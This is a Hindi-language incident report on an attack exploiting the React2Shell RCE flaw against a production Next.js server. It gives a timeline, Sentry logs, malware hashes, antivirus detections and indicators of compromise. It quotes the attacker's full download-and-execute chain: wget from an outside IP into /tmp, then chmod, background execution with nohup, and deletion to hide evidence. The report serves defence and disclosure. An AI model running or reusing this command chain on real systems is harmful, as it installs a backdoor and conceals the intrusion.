
CVE-2025-55182 (React2Shell) का वास्तविक दुनिया का हमला विश्लेषण - React Server Components RCE भेद्यता
प्रोडक्शन Next.js एप्लिकेशन पर वास्तविक दुनिया के हमले का विश्लेषण
5 दिसंबर, 2025 को, हमारे प्रोडक्शन Next.js एप्लिकेशन को हमलावरों द्वारा निशाना बनाया गया, जिन्होंने CVE-2025-55182 (React2Shell) का शोषण किया, जो React Server Components में एक गंभीर रिमोट कोड निष्पादन (RCE) भेद्यता है। हमले ने हमारे सर्वर पर Linux बैकडोर ट्रोजन डाउनलोड और निष्पादित करने का प्रयास किया।
| विशेषता | मान |
|---|---|
| CVE ID | CVE-2025-55182 |
| CVSS स्कोर | 9.8 (गंभीर) |
| हमले की तारीख | 5 दिसंबर, 2025 |
| हमले का परिणाम | ✅ अवरुद्ध (पैच के बाद) |
| मैलवेयर प्रकार | Linux बैकडोर ट्रोजन |
| प्रभावित स्टैक | Next.js + React Server Components |
CVE-2025-55182, जिसे "React2Shell" के नाम से भी जाना जाता है, एक गंभीर रिमोट कोड निष्पादन (RCE) भेद्यता है जो निम्नलिखित में React Server Components (RSC) को प्रभावित करती है:
यह भेद्यता React के Flight Server में renderToReadableStream() फ़ंक्शन में मौजूद है। विशेष रूप से तैयार किए गए RSC पेलोड को संसाधित करते समय, सर्वर कुछ इनपुट को ठीक से सैनिटाइज़ करने में विफल रहता है, जिससे मनमाना कोड निष्पादन होता है।
Attacker → Malicious RSC Payload → Flight Server → eval() → RCE
हमलावर एक दुर्भावनापूर्ण सीरियलाइज़्ड पेलोड के साथ एक तैयार POST अनुरोध भेजता है, जो सर्वर पर डी-सीरियलाइज़ और निष्पादित हो जाता है।
| टाइमस्टैम्प (UTC) | घटना |
|---|---|
| Dec 5, 06:20 | पहला हमला Sentry के माध्यम से पता चला |
| Dec 5, 06:20 | पेलोड शेल कमांड निष्पादित करने का प्रयास करता है |
| Dec 5, 06:20 | हमला आंशिक रूप से सफल (पैच-पूर्व) |
Sentry त्रुटि लॉग (पैच-पूर्व):
Error: root
at eval (eval at <anonymous>, <anonymous>:3:6)
at nk (chunk.js)
at JSON.parse (<anonymous>)
at n5 (/app/node_modules/next/dist/server/app-render.js)
| टाइमस्टैम्प | कार्रवाई |
|---|---|
| Dec 4, 14:13 | Next.js 16.0.7 में अपग्रेड किया गया |
| Dec 4, 14:13 | पैच किया गया संस्करण तैनात किया गया (v1.0.0-beta-4) |
| टाइमस्टैम्प (UTC) | घटना |
|---|---|
| Dec 5, 08:48 | हमले का प्रयास पता चला |
| Dec 5, 08:48 | पेलोड निष्पादन अवरुद्ध |
| Dec 5, 08:48 | त्रुटि: syntax error: unexpected ";" |
Sentry त्रुटि लॉग (पैच-पश्चात):
Error: Command failed: wget http://45.76.155.14/vim -O /tmp/vim ;
chmod +x /tmp/vim ; nohup /tmp/vim > /dev/null 2>&1 & ; rm -f /tmp/vim
/bin/sh: syntax error: unexpected ";"
पैच ने दुर्भावनापूर्ण कमांड को निष्पादित होने से सफलतापूर्वक रोक दिया।
| विशेषता | मान |
|---|---|
| लक्ष्य URL | https://[REDACTED]/ |
| विधि | POST |
| User-Agent | Python Requests 2.31 |
| उत्पत्ति | स्वचालित हमला स्क्रिप्ट |
हमलावर ने निम्नलिखित कमांड श्रृंखला निष्पादित करने का प्रयास किया:
wget http://45.76.155.14/vim -O /tmp/vim ; \
chmod +x /tmp/vim ; \
nohup /tmp/vim > /dev/null 2>&1 & ; \
rm -f /tmp/vim
विवरण:
| चरण | कमांड | उद्देश्य |
|---|---|---|
| 1 | wget http://45.76.155.14/vim -O /tmp/vim | मैलवेयर डाउनलोड करें |
| 2 | chmod +x /tmp/vim | निष्पादन योग्य बनाएं |
| 3 | nohup /tmp/vim > /dev/null 2>&1 & | पृष्ठभूमि में चलाएं, लॉगआउट के बाद बने रहें |
| 4 | rm -f /tmp/vim | सबूत हटाएं |
| घटक | संस्करण |
|---|---|
| ओएस | Alpine Linux 3.23.0 |
| रनटाइम | Node.js v20.19.6 |
| फ्रेमवर्क | Next.js 16.0.7 (पैच किया गया) |
| कंटेनर | Docker |
| विशेषता | मान |
|---|---|
| फ़ाइल का नाम | vim (वैध टूल के रूप में छिपा हुआ) |
| SHA256 | 0f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce |
| फ़ाइल प्रकार | ELF 64-bit LSB executable, x86-64 |
| भाषा | Go (संकलित बाइनरी) |
| फ़ाइल आकार | ~4.7 MB |
पहचान दर: 13/72 (18%)
| विक्रेता | पहचान नाम |
|---|---|
| DrWeb | Linux.BackDoor.Siggen.389 |
| AhnLab-V3 | Backdoor/Linux.Agent.4780032 |
| Kaspersky | HEUR:Trojan.Linux.Agent.gen |
| ESET-NOD32 | Linux/Agent.PX Trojan |
| Avast/AVG | ELF:Agent-BQE [Trj] |
| AliCloud | Trojan:Linux/Agent.ff565f70 |
| Antiy-AVL | Trojan/Linux.Agent.px |
| Rising | Trojan.Agent/Linux!8.13268 |
| SentinelOne | Static AI - Suspicious ELF |
| Tencent | Malware.Linux.Generic.1c03c8b9 |
| Zillya | Trojan.Agent.Linux.5292 |
VirusTotal लिंक: विश्लेषण देखें
ELF हेडर:
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000 .ELF............
00000010: 0200 3e00 0100 0000 60e7 4500 0000 0000 ..>.....`.E.....
पहचानी गई क्षमताएँ:
| क्षमता | सबूत |
|---|---|
| HTTP/HTTPS क्लाइंट | net/http, *http.Client |
| TLS एन्क्रिप्शन | crypto/tls, crypto/aes |
| SOCKS5 प्रॉक्सी | socks, socks5 |
| DNS रिज़ॉल्यूशन | net/dns/dnsmessage |
| मजबूत क्रिप्टो | chacha20poly1305, Ed25519 |
निकाले गए स्ट्रिंग्स (प्रासंगिक):
crypto/aes
crypto/tls
net/http
socks5
vendor/golang.org/x/crypto/chacha20poly1305
vendor/golang.org/x/net/http2/hpack
| गंभीरता | नियम | स्रोत |
|---|---|---|
| LOW | ET POLICY HTTP traffic on port 443 (POST) | Proofpoint ET Open |
| LOW | ET DNS Query for .cc TLD | Proofpoint ET Open |
प्रकार: Linux बैकडोर ट्रोजन
क्षमताएँ:
| प्रकार | मान | विवरण |
|---|---|---|
| IP पता | 45.76.155.14 | मैलवेयर वितरण सर्वर |
| URL | http://45.76.155.14/vim | मैलवेयर डाउनलोड URL |
| होस्टिंग | Vultr VPS | क्लाउड प्रदाता |
| TLD | .cc | C2 डोमेन .cc TLD का उपयोग करता है |
| प्रकार | मान |
|---|---|
| SHA256 | 0f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce |
| SHA1 | [यदि आवश्यक हो तो गणना करें] |
| MD5 | [यदि आवश्यक हो तो गणना करें] |
| फ़ाइल का नाम | vim (छिपा हुआ) |
| फ़ाइल प्रकार | ELF 64-bit x86-64 |
| फ़ाइल आकार | ~4.7 MB |
| संकेतक | विवरण |
|---|---|
wget to external IP | गैर-मानक URL से डाउनलोड करता है |
Files in /tmp/ | अस्थायी निर्देशिका में संदिग्ध निष्पादन योग्य फ़ाइल |
nohup + background execution | स्थायित्व प्रयास |
| Immediate file deletion | सबूत सफाई |
| Python Requests User-Agent | स्वचालित हमला उपकरण |